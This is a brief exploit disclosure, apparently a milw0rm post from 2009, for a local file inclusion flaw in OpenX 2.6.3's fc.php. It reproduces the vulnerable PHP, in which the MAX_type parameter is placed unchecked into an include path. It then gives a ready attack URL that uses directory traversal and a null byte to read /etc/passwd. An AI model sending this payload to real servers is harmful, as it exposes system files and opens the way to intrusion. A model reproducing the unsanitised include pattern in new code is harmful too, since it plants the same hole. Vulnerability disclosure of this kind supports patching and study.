OpenX 2.6.3 - 'MAX_type' Local File Inclusion

<snip>
include_once '../../init-delivery.php';
$MAX_PLUGINS_AD_PLUGIN_NAME = 'MAX_type';
if(!isset($_GET[$MAX_PLUGINS_AD_PLUGIN_NAME])) {
echo $MAX_PLUGINS_AD_PLUGIN_NAME . ' is not specified';
exit(1);
}
$tagName = $_GET[$MAX_PLUGINS_AD_PLUGIN_NAME];
$tagFileName = MAX_PATH . '/plugins/invocationTags/'.$tagName.'/'.$tagName.'.delivery.php';
if(!file_exists($tagFileName)) {
echo 'Invocation plugin delivery file "' . $tagFileName . '" doesn\'t exists';
exit(1);
}
include $tagFileName;
</snip>

If a null byte is appended to the end of a string, and directory traversal is used in the GET parameter MAX_type,
like so: /www/delivery/fc.php?MAX_type= ../../../../../../../../../../../../../../../etc/passwd%00, you will see
the /etc/passwd file before you ;)

-Charlie Briggs [Elites0ft.com]

# milw0rm.com [2009-01-26]